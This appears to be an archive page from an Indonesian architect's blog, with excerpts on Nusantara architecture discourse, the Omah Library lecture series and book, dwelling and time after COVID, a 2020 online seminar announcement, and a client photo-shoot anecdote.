In this video, I want to share the our studio design approaches in creating the School of Alfa Omega. It is generally known that the spirit of locality is a process embedded in the practice of sustainable architecture, where the sustainable architecture itself is the product of the process. Meanwhile, the locality itself is an approach in the design process that considers its certain situation and location. In sustainable architecture, there are aspects of optimality that regard as basic criteria to be considered, such as the limitations and conditions in the site, optimization of building technology, and the relation of existing resources that nurtured by its social organizations. Yet, at the same time taking them into account about the risk that might occur in the future by managing its resources optimally that relatively limited. However, is it the same as the process of exploring local identities?
CIAAD’s FUTURE DIRECTION FOR GLOBAL EDUCATION The global definition of education is shifting due to technology, which is CIAAD’s primary tool for design pedagogy, aiding in the development of multi-disciplinary collaborative real-life projects in between continents, Project Boomerang by CIAAD. PBC uses omni-presence and tele-presence communication tools for students to travel abroad virtually in between cities while remaining in their physical space.
Saya akan berbicara mengenai Pemikiran – pemikiran reflektif tentang desain yang sederhana namun bermakna sekaligus menjalin relasi dengan klien, untuk menghadapi masa Covid ini bersama – sama. Saya juga berbagi mengenai pendekatan karya studio kami yang terbaru menggunakan pendekatan kontekstual kritis melalui penggunaan material lokal, pertimbangan terhadap iklim tropis, dan tentunya berbagi mengenai ekosistem di dalam budaya studio yang eksperimental.
[SEMINAR ONLINE : Locality vs Future] Salam Arsitektur! Halo teman teman, HMA Atrivm mengadakan seminar online via Google Meets, dengan pembicara seminar ini adalah : Arch. Dipl. Ing. Cosmas D. Gozali, IAI, (Atelier Cosmas Gozali) Realrich Sjarief (Realrich Architecture Workshop-RAW Architecture) @rawarchitecture_best Hari, tanggal: Sabtu, 24 Oktober 2020 pk. 12.00 WIB – selesai (diharap login 15 menit sebelumnya) Mekanisme mengikuti sharing ini:
Mendaftar dengan mengisi link google form di bawah.
Ketika peserta sudah terdaftar, undangan link meets akan dikirimkan melalui email pribadi peserta seminar. LINK PENDAFTARAN https://forms.gle/MqBvTGU5AiWQ8mHZ8 (atau cek bio @hma_atrivm) CP : 085225082255 (Tirza) & 088806266191 (Emma)
“…the man who regards his life as meaningless is not merely unhappy but hardly fit for life.” (Albert Einstein)
Victor Frankl menghabiskan waktu 3 tahun di dalam kamp konsentrasi. Ia menyaksikan bagaimana anak dan istrinya dibunuh di dalam kamp konsentrasi tersebut. Ia sendiri menghabiskan waktunya dengan bercakap – cakap membuat simulasi mengenai ruang kelas, tempat ia sedang memaparkan sebuah materi ke murid – muridnya. Materi tersebut adalah sebuah terapi terhadap dirinya sendiri, namanya logotherapy. Logotherapy adalah Konsep yang didasarkan pada premis (apa yang dianggap benar sebagai landasan kesimpulan kemudian yang menjadi dasar pemikiran) bahwa kekuatan motivasi utama seorang individu adalah untuk menemukan makna dalam hidup.Semangat yang muncul di dalam kuliah Nusantara hadir seperti bayi mungil yang tanpa pretensi, ia lahir dengan kekuatan cinta, sebuah keinginan untuk merekonsiliasi, memperbaiki, membangun semangat Arsitektur di Indonesia.
Semangat yang muncul di dalam kuliah Nusantara hadir seperti bayi mungil yang tanpa pretensi, ia lahir dengan kekuatan cinta, sebuah keinginan untuk merekonsiliasi, memperbaiki, membangun semangat Arsitektur di Indonesia. Lagu terima kasih Ayla adalah lagu yang digubah Jaya Suprana untuk istrinya Ayla sebagai ungkapan terima kasih dan puji syukur.
Di dalam perenungan mengenai Nusantara setidaknya ada sebuah ide bahwa Indonesia yang dikaitkan Nusantara adalah negara besar, ada sebuah ide bahwa Indonesia yang dikaitkan Nusantara sebenarnya bagian dari sebuah tatanan yang lebih besar lagi, dan ada ide juga bahwa Indonesia tidaklah besar – besar amat. Saya percaya bahwa Indonesia adalah bangsa yang besar dan sebuah ide adalah sebuah awalan, yang membantu untuk menggulirkan ritual – ritual yang lebih besar yang akhirnya bergulir menjadi kenyataan – kenyataan baru. Tanpa adanya ide kita tidak bisa maju jalan dan Frankl pun tidak akan bisa merekonsiliasi trauma yang dialaminya.
Ada kontradiksi di lukisan School of Athens yang dilukis oleh Raphael juga perjalanan hidup Suryomentaram. Di lukisan Raphael Terlihat figur Plato yang menaikkan tangannya dan Aristoteles yang menurunkan tangannya menunjukkan pentingnya bagaimana berpikir fundamental, atau mengakar, berbasis pada pengamatan lapangan. Berpikir fundamental ini di dalam definisinya adalah bagaimana menemukan akar dari sebuah hal yang sedang dibahas. Hal ini terkait dengan radix atau berpikir radikal. Untuk konteks Indonesia yang terajut dengan berbagai silang budaya, hal ini terlihat dari perjalanan Suryomentaram untuk melepas gelar kebangsawanannya dan berteman dengan rakyat jelata, menikmati realitas sosial yang tidak berjarak. Proses meniadakan ini mewarnai dinamika aksi reaksi yang menelurkan sikap filsafati yang berkelindan terhadap aksi reaksi diri pribadi dan kosmologi yang lebih luas sampai ke tataran negara dan dunia, disinilah muncul kekuatan sikap untuk mendapatkan fundasi yang kokoh dan dahsyat.
Berpikir radikal adalah sebuah fundasi, sebelum bisa menerapkan bagaimana berpikir kritis. Pembahasan pengetahuan yang ilmiah, ini dimulai dari Yunani dengan berusaha untuk menjelaskan dasar teori sebagai sebuah takaran intelektualitas, dimana kebudayaan pra sejarah Mesir – Mesopotamia, Sumeria, Babilon, dan India masih di ranah Mistis – Praktis. Di dalam kebudayaan di Yunani, sifat ilmiah dari sebuah pengetahuan muncul karena mengandung hal – hal yang pasti. Dimana terbagi ke dalam dua kutub yang dibahas di atas, Plato dengan pengetahuan yang universal dan Aristoteles dengan menjelaskan mengapa “the why”.
Di dalam buku Nusantara yang ditulis oleh Abidin Kusno (bisa dipesan disini) penelisikan “the why” dituliskan oleh Suwardana Winata di prolog dan Mohammad Nanda Widyarta di epilog. Suwardana melihat bahwa keterkaitan pembentukan brand di dalam dunia digital berpotensi memundurkan perkembangan keilmuannya.
Suwardana menulis “Arsitektur Nusantara dalam perdebatannya, secara terus menerus dicari dan diungkap dengan berbagai konteks pemikiran maupun filosofi serta perancangannya. Berbagai pendekatan dan metodologi digunakan untuk mencari atau mengungkap Arsitektur Nusantara itu. Dalam era digital, pencarian arti Arsitektur Nusantara dapat menghasilkan berbagai kemungkinan, akibat pembentukkan opini (tafsir opini). Pembentukkan opini ini dapat “nyasar”, dengan hanya menjadi brand atau label bahkan hanya sebuah tag. Dalam era yang didominasi visual ini, peran label ini memiliki pengaruh besar dalam membangun opini publik bahkan pembentukkan pengetahuan Arsitektur Nusantara. Perjalanan Arsitektur Nusantara, perlu terus “dikembangkan” dari berbagai arah, sehingga Arsitektur Nusantara tidaklah dapat didefinisikan sebagai “single”… Selain itu perlu juga diperhatikan dengan opini “Arsitektur Nusantara” …oleh para star atau publicist digital yang akan menjadikan Arsitektur Nusantara hanya sebagai trend yang sifatnya sangat temporer dan meaningless.”
Di satu saat pada waktu saya memberikan kuliah di Universitas Udayana Bali, saya bertemu dengan Pak Josef Prijotomo, ia menitipkan satu manuskrip yang ketika saya buka, tulisannya seperti tulisan seorang penutur. Isinya tidak terstruktur, dan saya jujur saja kesulitan untuk menatanya. Akhirnya saya putuskan bahwa kami perlu menghabiskan waktu untuk berbincang- bincang dan membahas kuliah tersebut, sehingga saya masih belum bisa melanjutkan untuk menyunting manuskrip tersebut. Pada dasarnya, manuskrip itu perlu diolah kembali terutama dengan referensi apa ia akan dipadu padankan, banyak referensi yang belum jelas apakah itu hasil dari ekspedisi ataukah dari tutur – tuturan Pak Josef sendiri, dari situlah muncul sebuah dialog tentang, premis, pembuktian lapangan dan dasar teori yang digunakan. Disinilah masalahnya namun juga disinilah potensinya. Manukrip tersebut masih membutuhkan orang – orang yang perlu turun tangan untuk meneruskannya, wacana yang digagas beliau sebenarnya adalah wacana kritisisme yang dimulai dari refleksi hidupnya, dan semangat tersebut diperlukan untuk diteruskan, ditransformasikan ke dalam energi yang baru kembali.
Potensi seperti gambaran daya juang yang menjadi hulu ledak, neuron – neuron perjuangan di dalam kepala, hati dan kaki-tangan orang – orang yang sedang memperjuangkan pemikirannya untuk apa yang dicintai. Semangat daya juang ini menular, membuat rasa gairah yang tinggi, sebuah proses cinta. Proses tersebut pastilah melibatkan rasa benci, rasa suka, jarak dan tanpa jarak. Potensi ini muncul di dalam sebuah bentuk paguyuban.
Lain lagi potensi, lain lagi masalahnya, masalahnya muncul di dalam komunitas ilmiah dimana di dalam proses pembuktian proses berteori, yang dihindari adalah bagaimana proses penyusunan teori menjadi dasar dari proses berideologi. Dimana proses berideologi tersebut perlu untuk diungkapkan apa posisinya, apa urgensinya dan keputusan sejauh mana sang pemikir bisa menjaga jarak dari teorinya sendiri untuk bisa diuji oleh komunitas ilmiah.
Victor Frankl menulis Man’s Search for Meaning di dalam rekonsiliasinya terhadap penindasan yang dialaminya. Rekonsiliasi pemikiran ini terpancar di dalam proses kuliah Nusantara yang ada di Omah Library. Frankl menulis mengenai 3 tahap bagaimana seseorang bisa menemukan makna di dalam hidup. Pertama, dengan membuat karya atau melakukan perbuatan. Hal pertama yang dilakukan Jerman untuk bisa merekonsiliasi setelah perang dunia kedua adalah mengakui kesalahan dan membuat kenangan – kenangan tersebut menjadi kenyataan dengan banyaknya situs museum yang dibangun sebagai sarana refleksi bahwa Holocoust nyata – nyata terjadi dan memberikan pelajaran mahal mengenai korban yang muncul. Hal ini juga muncul tersirat di dalam diskusi yang muncul justru setelah pemaparan Abidin Kusno yang bisa dilihat di lembar lampiran.
Kedua, dengan mengalami sesuatu pengalaman baru atau bertemu orang lain. Pentingnya untuk bisa terhubung dengan orang lain, atau fakta – fakta baru bisa membuat kenyataan yang baru. Kenyataan tersebut misal sifatnya tidak tunggal atau ganda juga tidak sederhana dan kompleks. Fumihiko Maki perlu membuat teori Investigations in Collective Form, untuk mengantarkan kedahsyatan Jepang di dalam pembentukan teori yang akhirnya menyemangati munculnya gerakan kontemporer selanjutnya di Jepang yang mempengaruhi dunia barat . Hal ini juga ditunjukkan Bernard Rudofsky dengan penyingkapan arsitektur tanpa arsitek di tahun 1960 an dimana ia melakukan investigasi dan menelurkan pemikiran arsitektur tanpa turunan.
Ketiga, sikap yang kita ambil sebagai respon terhadap penderitaan yang tak terhindarkan. “Keadaan ini dipicu oleh trauma yang dihadapi setiap harinya di dalam kamp konsentrasi. Pentingnya keterbukaan di dalam melihat sebuah permasalahan. Perbedaan sudut pandang filsafati adalah, bagaimana medekonstruksi cara berpikir yang kaku dan merelasikan kedalam kebenaran yang situasional. Relasinya seperti, kekayaan situasional budaya, ekonomi, sosial di Indonesia misal, begitu kaya. Pemikiran filsafati berguna untuk menemukan akar keilmuan, proses perjalanannya seperti masuk ke hutan rimba yang pekat dan gelap diantara paradoks pandangan yang ideal dan pandangan yang fundamental. Perjalanan tersebut dimulai dari mempertanyakan hutan tersebut, dengan melihat gambaran besar hutan – hutan yang ada, dan apa sih hutan yang mau kita jalani ? terlebih lagi hal ini mempertanyakan apa yang kamu mau cari, passion apa yang kamu mau cari ? ataukah ada yang ingin dibuktikan ataupun sebenarnya tidak perlu membuktikan apa – apa. Pemikiran filsafati sebenarnya menjanjikan sebuah proses kedewasaan berpikir untuk menguraikan kekusutan terminologi, sebuah pemikiran yang terbuka (open ended) seperti kutipan diatas. sebuah progresi yang regresif, di satu sisi ia menjanjikan progress akan kedewasaan, disatu sisi mendefinisikan arti sebuah progresi dan regresi. Bahwa pada akhirnya, memahami maju mundurnya cara berpikir membuat tidak ada yang tidak mungkin di dalam alam pikir. Pertanyaannya apakah Nusantara patut untuk diperbincangkan ?
Melihat Indonesia yang sedang membangun dirinya, terkadang kita mungkin perlu bertanya – tanya di dalam kecepatan yang demikian pesat, bisakah kedua potensi dan masalah tersebut berdialog menjadi sebuah alfa (awal) dan omega (akhir). Kedua hal tersebut jelas – jelas sama – sama memiliki posisi masing – masing, dan saya pikir keduanya sedang mencari makna untuk kehidupannya masing – masing. Makna untuk rekonsiliasi trauma di dalam perjalanannya, penindasan, dan keleluasaan yang terjadi di dalam kehidupan setiap orang terpancar, terpantul dan terefleksi di dalam tata laku.
Melihat Indonesia yang sedang membangun dirinya, terkadang kita mungkin perlu bertanya – tanya di dalam kecepatan yang demikian pesat, bisakah kedua potensi dan masalah tersebut berdialog menjadi sebuah alfa (awal) dan omega (akhir). Kedua hal tersebut jelas – jelas sama – sama memiliki posisi masing – masing, dan saya pikir keduanya sedang mencari makna untuk kehidupannya masing – masing. Makna untuk rekonsiliasi trauma di dalam perjalanannya, penindasan, dan keleluasaan yang terjadi di dalam kehidupan setiap orang terpancar, terpantul dan terefleksi di dalam tata laku.
Abidin Kusno membuka kuliah pertama dengan sebuah tema reposisi, hal ini diperlukan untuk melihat Nusantara dari sudut pandang yang lebih luas. Diawali dengan Abidin Kusno, seseorang yang bisa melihat dari dalam dengan relasinya dengan Nusantara dan juga dari luar. Dalam kuliah wacana Nusantara: Reposisi, Abidin Kusno menampilkan 5 posisi/konsepsi nusantara, mencoba menunjukkan “nusantara” dalam sebuah konstruksi yang tidak lepas dari konteks suatu ruang dan waktu, politik negara, dan imaginasi intelektual & arsitek. Ia menjelaskan bahwa kelima posisi ini bisa saling berkelindan meskipun ada kontradiksi di antara mereka. Misalnya yang 1 & 2 itu tipis garis pemisahnya dan 3, 4, 5 erat hubungannya meskipun tekanannya berbeda. 1. Melalui Gajah Mada The Periferi: tanah di sebrang lautan (dari subjektivitas sebuah pusat). Dalam kehidupan zaman Majapahit, arsitektur nusantara mengandung 2 pengertian: arsitektur tanah sebrang/luar negeri, dan arsitektur pan-Majapahit style, atau mungkin sebuah empire style? 2. The Geo-body Melalui perspektif nation-state. Integrasi: penyatuan konsentris. Merupakan sebuah posisi yang berakhir dengan meng-nasionalisasikan nusantara. Menjadi ekspresi anti-kolonialisme dan legitimasi bagi formasi negara. 3. Melalui pengaruh austronesia Maerupakan konsep Aquatic space: yang berdasarkan aliran/arus/air. Posisi ketiga ini menjadi simbol tradisi bahari yang telah lama mengalami marginalisasi. 4. Melalui Denys Lombard Beyond the Nation-State. Yang dimaksud adalah posisi nusantara sebagai Persilangan: Hibrida budaya. Misal pada akhirnya ada yang klaim nusantara itu milik Indonesia atau Malaysia, tidak masalah, tapi tetap saja formasi budaya dari kedua negara ini adalah nusantara. Nusantara menjadi ungkapan kosmopolitanisme. 5. Melalui Josef Prijotomo Resistensi: Perlawanan dalam Kesetaran. Gerakan nusantara terjadi pada saat ada tekanan dari budaya hegemoni global yang cenderung memarginalisasikan sumber lokal. Sebagai perlawanan, nusantara diletakkan dalam posisi yang setara dengan kekuatan lain.
Pada akhirnya, Abidin Kusno merasa bahwa nusantara itu adalah istilah dimana keadaan ‘struggle over culture’ terjadi. Dan diharapkan lahir berbagai positioning lain sehingga membentuk sebuah himpunan yang beragam. Setelah itu kuliah disambut oleh 10 orang lain yang membicarakan arsitektur nusantara di dalam 10 buah perjuangan yang berbeda, dengan definisinya sendiri tentang Nusantara.
Di dalam Omah Library kami mengambil Nusantara untuk melihat apa yang penting dari kata tersebut, sejauh mana dampaknya untuk diperbincangkan, lalu pertanyaannya sejauh mana hal ini relevan di dalam komunitas – komunitas atau pribadi – pribadi yang saling berkelindan di dalam diskusi di Omah Library. Abidin Kusno mengambil 5 buah reposisi yang berbeda di dalam melihat Nusantara. Reposisi yang terakhir adalah latar belakang mengapa kuliah wacana Nusantara ini digulirkan.
Terkadang setelah acara saya menelpon Pak Josef untuk menanyakan pendapatnya, untuk melihat situasi yang mengukung beliau, apa perasaan beliau dengan pertanyaan, pernyataan yang satu dua hal terdengar mengadili dengan pretensi dari pihak yang berdiskusi. Hal ini saya lakukan karena beliau adalah orang yang patut diapresiasi dengan pencurahan seluruh energi hidupnya di dalam penyebaran dan kelahiran Arsitektur Nusantara. Ada beberapa kemungkinan – kemungkinan muncul di dalam diskusi yang dilakukan di Omah Library, mengenai bagaimana forum diskusi dan pemateri memaknai kekayaan dinamika budaya yang mewarnai wacana Nusantara di arsitektur Indonesia ke depannya.
Munculnya diskusi yang kritis hasil dari pertemuan antargenerasi atau antarpengalaman orang – orang yang gelisah. Ada benang merah bahwa ketakutan yang muncul adalah wacana komersialisasi ataupun kompetisi yang mendegradasi perjuangan akan mencintai arsitektur tersebut. Dengan melihat akar permasalahan yang muncul, setidaknya bisa dipisahkan kompetisi dan komersialisasi dari perbincangan Nusantara yang lebih serius. Ataukah memang perlu ada dewan pengawas Nusantara untuk meregulasi bagaimana komersialisasi dan kompetisi Nusantara ini diturunkan ke ranah praktis. Saya harap tidak karena dasar filsafati yang terbaik adalah bagaimana membawakan diri dengan tepat, ketepatan ini ditunjukkan dengan suri Tauladan, memberikan ruang gerak pada penerus yang masih muda dan gelisah.
Hubungan guru murid yang kental antara beberapa pembicara dengan Pak Josef Prijotomo. Keambiguannya terlihat dan terus muncul, meskipun diklarifikasi oleh beberapa orang yang membuat definisi – definisinya masing – masing dan berkelit dari hubungan yang memang nyata terjadi. Di dalam perdebatan Arsitektur Nusantara, saya masih melihat bahwa ada potensi luar biasa, hanya saja mungkin tongkat estafet itu sendiri perlu disibakkan oleh generasi penerusnya. Di antara hubungan guru murid tersebut, terlihat bahwa Pak Josef sendiri seakan – akan menantang murid – muridnya sekaligus memberi restu antara rasa euwuh pekewuh sekaligus kecintaan terhadap murid – muridnya. Hal ini perlu digawangi mungkin dengan kekuatan literasi.
Adanya kesepahaman bahwa proses berpikir kritis diperlukan dengan saya tambahkan sebuah kebijaksanaan untuk merangkul orang yang tua dan yang muda dengan menjaga jarak dari hegemoni politik yang tidak diperlukan. Untuk itu pihak yang sadar (atau mudahnya bisa diinisiasi dengan Omah Library dan Jaringan Arsip Arsitektur Indonesia yang diinisiasi Mohammad Cahyo Novianto) perlu membantu menggawangi pendekatan akar rumput dari muda dan tua, antargenerasi hal ini dilakukan dengan bingkai acara perjalanan mengenal Indonesia dimana ini adalah usaha untuk merangkul orang – orang yang sudah mendokumentasikan arsitektur vernakular Indonesia untuk disebarkan dan memperkaya literasi arsitektur vernakular di Indonesia. Kita semua perlu bersatu bukan tercerai berai, untuk bersatu tersebut ditunjukkan dengan tauladan yang baik dengan menghindari pretensi yang muncul dalam menuangkan pemikiran.
Mari melangkah, banyak isu – isu lain yang layak dibahas seperti isu lingkungan, gender, ras, ekonomi kerakyatan, studio desain, dan banyak lagi. Mungkin kita akan bisa mendefinisikan Nusantara kembali setelah kita berjalan dan mengalami sebuah perjalanan ke empat penjuru dunia Barat-Timur, Utara-Selatan untuk mendapatkan kompas di dalam menjalani reposisi yang muncul di kemudian hari. Untuk menunggu hari itu tiba, mari kita mulai dengan Abidin Kusno, sebuah reposisi akan wacana Nusantara. Saya pikir jarak diperlukan untuk melihat bagaimana kedahsyatan Arsitektur Nusantara, energi yang mewakili salah satu dinamika arsitektur Indonesia.
Untuk menutup keseluruhan sesi ini, ijinkan saya meminjam pernyataan Mohammad Nanda Widyarta yang dituliskan ke dalam epilog buku,
Nanda menulis, “Menurut hemat saya, bila Arsitektur Nusantara kehilangan aspek perlawanan ini, maka ia akan menjadi kajian yang “itu-itu saja.” Maksudnya, ia masih juga terjebak dalam pengetahuan sebagaimana didefinisikan berdasarkan sudut pandang si pemilik hegemoni. Penggunaan istilah seperti “kearifan lokal” misalnya, masih menyiratkan adanya hegemoni dalam pemikiran si pemikir/periset. Arsitektur Nusantara sepatutnya bertindak sebagai pengingat bahwa ada banyak arsitektur-arsitektur lain di dunia yang juga patut diangkat.”
Dengan selesainya epilog dari Mohammad Nanda Widyarta di buku Nusantara kita bisa bersama – sama mengucapkan :
Hi semesta, ayam sudah berkokok berulang kali, selamat pagi, mari berjalan !
Dan pada akhirnya, saya perlu mengucapkan terima kasih terutama kepada Abidin Kusno yang mau berjibaku untuk mereposisi sebuah terminologi Nusantara dan memberikan tongkat estafetnya kepada kami – kami melalui Omah Library. Terima kasih juga kepada 10 pembicara yang sudah meluangkan waktunya untuk menyumbangkan 10 jembatan pemikiran reposisi lanjutan dari kuliah Abidin Kusno. Kesepuluh orang tersebut adalah Indah Widiastuti, Eka Swadiansa, Robin Hartanto, Mohammad Cahyo Novianto, Anas Hidayat, Revianto Budi Santosa, Mitu M. Prie, Defry Ardianta, Altrerosje Asri Ngawi, dan Johannes Adiyanto. dari kesepuluh orang tersebut kita memulai konstruksi pemikiran yang terbuka, rajutan pembangunan konstruksi yang sehat.
Terima kasih terbesar ada di Kirana Ardya Garini yang sudah membantu menyimpulkan kuliah demi kuliah, menemani di dalam sesi – sesi yang ada di dalam Nusantara, mengkordinasikan dan menjadi jembatan untuk banyak pihak. Juga kepada Satria Agung Permana, Amelia Mega Djaja, Dimas Dwi Mukti Purwanto untuk teman berdiskusi tanpa henti di dalam Omah Library, jembatan yang terakhir ini adalah doa untuk mereka berempat menjadi mata air baru untuk arsitektur Indonesia.
Dengan selesainya epilog dari Mohammad Nanda Widyarta di buku Nusantara kita bisa bersama – sama mengucapkan :
Hi semesta, ayam sudah berkokok berulang kali, selamat pagi, mari berjalan !Publikasi buku yang dibuat oleh tim Omah Library, Tulisan ini berjudul Rentang Asa dalam Ragam Rona Nusantara yang Terselubung, atas dasar usulan Jolanda Atmadjaja untuk menanti – nanti kekuatan semesta terkait dinamika budaya yang melingkupi kebaikan setiap orang untuk selalu berproses dalam perjuangannya masing – masing.
Omah library dengan bangga mengeluarkan buku baru berjudul Nusantara: Reposisi . Masa mendekati perayaan 75 tahun merdekanya Republik Indonesia ini adalah saat yang tepat untuk menelusuri kembali imajinasi kita tentang negara, tak terkecuali juga hubungannya dengan ruang, makna, dan sejarah. Penelusuran tersebut kerap kali berujung dengan pertanyaan seputar “bagaimana kita memaknai Nusantara?”
DWELLING dan WAKTU Ketika manusia mulai menghuni dunia, maka berbagai tingkatan hubungan antara manusia dan dunia akan terjadi. Christian Norberg-Schulz dalam bukunya The Concept of Dwelling mengungkapkan bahwa, dwelling atau “hunian” mempunyai makna lebih mendalam dari sekadar atap yang menaungi di atas kepala kita dan sejumlah meter persegi ruang yang kita miliki. Menurutnya, dwelling mempunyai tiga arti; Pertama, ruang di mana kita bertemu dengan orang lain untuk bertukar produk, ide, dan perasaan, pada makna ini kita akan mendapatkan pengalaman kehidupan sebanyak mungkin. Kedua, Dwelling mencapai kesepakatan dengan orang lain di mana kita akan dihadapkan untuk dapat menerima seperangkat nilai-nilai umum di masyarakat. Ketiga, mengandung arti ketika kita telah menjadi diri kita dengan memiliki dunia kecil pilihan kita sendiri. Kita dapat menyebut ketiga arti itu masing-masing sebagai dwelling / hunian secara kolektif, publik, dan pribadi. Ketiga tingkatan ini memiliki dimensi ke-ruangan yang kompleks dalam sebuah konsep dwelling, karena hunian dengan konsep berhuninya harus dapat memberikan kontribusi menyeluruh dalam kehidupan manusia di bumi. Martin Heidegger menggunakan istilah dwelling sebagai sebuah konsep menghuni atau cara khas ada (dasein) di dunia. Tinggal di rumah, tidak hanya berada di dalamnya secara spasial dalam arti hanya menyisir dan berputar dalam lingkungan rumah saja. Sebaliknya, rumah sebagai sesuatu yang ada adalah milik dunia, dan orang yang menghuni didalamnya harus keluar untuk melihat langit-langit dunia. Hunian pada awalnya tidak merujuk pada tinggal di suatu tempat, tetapi lebih pada berhenti dan berlama-lama di jalan, dengan keraguan tentang ke mana harus pergi. Kata dwelling dalam bahasa Inggris kunonya adalah dwellan yang berarti mengembara (to wander) dan bertahan hidup (to linger). Secara filosofis, kata dwelling memberikan makna bahwa :untuk bertahan hidup, tidak dapat dilakukan dengan berdiam diri atau menetap tetapi harus mengembara Maka dwelling sebagai konsepmenghuni dan ada di dunia berhubungan dengan menetap dan berkelana. Dengan menetap dan berkelana inilah manusia belajar tentang konsep menghuni (sebagai ada) di dunia. Dalam mengisi dunia dan berhuni atas dunia, maka sebuah dwelling akan dihadapkan dengan konsep waktu, yang membungkus secara keseluruhan dalam cara hidup manusia di dunia. Seperti yang dikatakan Albert Einstein bahwa ruang bukanlah sesuatu yang biasa kita bicarakan seperti atas-bawah, kiri-kanan, depan- belakang dan terpisah dari waktu. Ruang dan Waktu adalah nyatanya, dan bukan hal yang terpisahkan. Ruang dan waktu saling erat terhubung dan berpaut. Dalam melihat hubungan antara dwelling sebagai ruang berhuni dengan waktu, ada beberapa pertanyaan menarik dapat diajukan, seperti :
MASA DEPAN BERHUNI Berbasis pada Hari Ini “ Hunian yang ada, dimaksudkan terutama untuk mendukung aktivitas “hidup”. Jadi, ketika gaya hidup berubah, desain hunian juga berubah. “ Stefan Junestrand & Konrad Tollmar
(1) “ Bagaimana konsep dwelling menjawab tantangan waktu, dalam cara berhuni di dunia ?”
(2) “Bagaimana melihat hubungan antara dwelling dengan kondisi hari ini ? dan apakah ada konsep ke-ruangan yang berubah dalam perjalanan waktunya ?”
(3) “ Bila dwelling berkaitan dengan waktu, bagaimana arsitektur menjawab tantangan ini ?” Berbagai contoh ada di hadapan kita, misalnya perbedaan antara konsep dwelling pada masyarakat pada tahun 1980-an sebelum teknologi internet menjadi bagian hidup kita dengan tahun 2000an di mana internet telah mempengaruhi sebagian aktivitas manusia. Bahkan kini 40 tahun kemudian teknologi ini telah menyatu dengan kehidupan kita. Contoh lain, dalam drama Korea berjudul “Replay 1988” dan “Replay 1994, kita pun dapat merasakan perbedaan konsep kehidupan antar keluarga, tetangga, teknologi, komunikasi dalam konsep jarak dan waktu yang mempengaruhi perubahan suasana dwelling atau konsep berhuni dalam kurun waktu 6 tahun di film tersebut, bahkan inipun berhubungan dengan kehidupan yang kita alami sekarang. Ketika pada Awal tahun 2020 dunia mulai diguncang dengan berita virus “Covid 19” aktifitas manusia perlahan berubah, bahkan para ahli memprediksi keberadaan virus ini akan mempengaruhi seluruh aspek kehidupan manusia, dan akan berpengaruh dengan konsep dwelling dimasa depan. Dengan kejadian ini saja, kehidupan yang kita jalani sebelumnya berubah secara dramatis. Aktivitas rutin ke kantor, ke toko, belajar, merayakan ulang tahun bersama teman-teman, liburan bersama keluarga, olahraga di gym, kelas olahraga, kunjungan keluarga, pelukan, dan berjabat tangan semuanya terhapuskan dari daftar harian kita. Meski pada awalnya kita masih mencoba mengelak, pada akhirnya kita dituntut untuk menyesuaikan dan hidup berdamai – berdampingan dengan virus ini, pada suatu babak kehidupan yang di sebut “New Normal COVID 19”. Kata COVID 19 sengaja dilekatkan, karena New Normal sendiri adalah tahap perubahan yang bisa kita alami berulang kali dalam satu siklus kehidupan. Berbagai kejadian penting lainnya, seperti pemanasan global, kemacetan dan segregasi, dan urbanisasi yang cepat juga merupakan tantangan terbesar yang dihadapi dunia di abad ke-21. Bagi kita dan kebanyakan orang, perubahan apa pun yang berkaitan dengan planet, manusia, dan tempat memiliki dampak besar terhadap konsep ke-ruangannya dan akan mempengaruhi cara manusia berhuni atas dunia ini. Dalam perkembangan arsitektur dwelling berkaitan erat dengan konsep waktu (time), konsep ruang (space), konsep tempat (place) dan konsep untuk hidup (to live). Konsep ruang dan waktu menjadi penting karena menandakan di mana (where), kapan (when), dan bagaimana (how) seseorang benar-benar melakukan sesuatu – dalam hal ini untuk ‘tinggal dan berhuni atas dunia’ . Dalam hal ini, Konsep ‘hidup‘ dalam perspektif arsitektur adalah suatu kondisi ke-ruangan di mana manusia harus dapat hidup dan berhuni dalam ruang dan waktu yang ada serta yang dilaluinya.
Baru saja kemarin saya bertemu dengan teman saya Eric Dinardi, dan klien saya yang sudah seperti keluarga saya, Djonny Taslim. Pertemuan itu berlangsung karena rumah Djonny Taslim yang saya panggil om di Danau Biru, akan difoto oleh Eric Dinardi. Pagi itu Eric sudah melakukan sesi foto di pagi hari, dan saya baru datang. . Saya menyapa Eric dan Om Djonny, dan membuka jalan untuk masuk ke kamar beliau yang privat, Joan (istri Eric) menyemprotkan disinfektan, dan membantu menata, merapihkan perabot dibantu oleh asistennya. begitulah proses yang berlangsung ketika pemotretan, terlihat mudah tetapi membutuhkan persiapan. .
Setelah pemotretan di kamar Om Djonny selesai, kami semua dipersilahkan untuk makan pagi bersama, sementara Om Djonny bersiap – siap untuk mandi karena akan berangkat kerja. Di meja makan disediakan bakmi 1 porsi, dan bihun 2 porsi. Om Djonny bertanya “kamu mau yang mana Rich ?” saya bilang, saya bihun saja om, supaya Eric dan Joan bisa saling mencicipi masakan yang berbeda. Setelah itu kami makan dan Om Djonny mempersiapkan dirinya, setelah menyetel lagu dengan speaker yang disiapkan dari dalam rumah. . Ketika kami makan, awal mulanya Eric mempertanyakan hal – hal yang fundamental, seperti “pernah kepikiran ngga sih ? saya ini maunya mencari apa ?” saya sebenarnya bingung darimana Eric bisa mendapatkan pertanyaan seperti itu. Hal ini seperti komposisi yang dimainkan oleh Ravel S. Gunardi dengan karya Victorious dari Levi Gunardi bahwa ada hal yang memuncak, sebuah keinginan untuk memurnikan diri. Diskusi kemudian berlanjut ke hal – hal seperti pendalaman diri, karya, dan pentingnya metode, skill untuk mempertajam karya, sampai satu saat Om Djonny Taslim bergabung duduk di meja makan. Saya kemudian mengarahkan pertanyaan ke beliau, dan meminta beliau mengeluarkan pendapatnya mengenai pendalaman diri, desain, arsitektur, fotografi sampai industri. Ia membuka diskusi dengan sebuah kalimat,
Ketika kami makan, awal mulanya Eric mempertanyakan hal – hal yang fundamental, seperti “pernah kepikiran ngga sih ? saya ini maunya mencari apa ?” saya sebenarnya bingung darimana Eric bisa mendapatkan pertanyaan seperti itu. Hal ini seperti komposisi yang dimainkan oleh Ravel S. Gunardi dengan karya Victorious dari Levi Gunardi bahwa ada hal yang memuncak, sebuah keinginan untuk memurnikan diri. foto bersama Eric dan Joan bertemu dengan Djonny Taslim. Diskusi kemudian berlanjut ke hal – hal seperti pendalaman diri, karya, dan pentingnya metode, skill untuk mempertajam karya, sampai satu saat Om Djonny Taslim bergabung duduk di meja makan. Saya kemudian mengarahkan pertanyaan ke beliau, dan meminta beliau mengeluarkan pendapatnya mengenai pendalaman diri, desain, arsitektur, fotografi dampai industri. Ia membuka diskusi dengan sebuah kalimat,
“Jadi terkenal salah, ngga terkenal pun salah.”
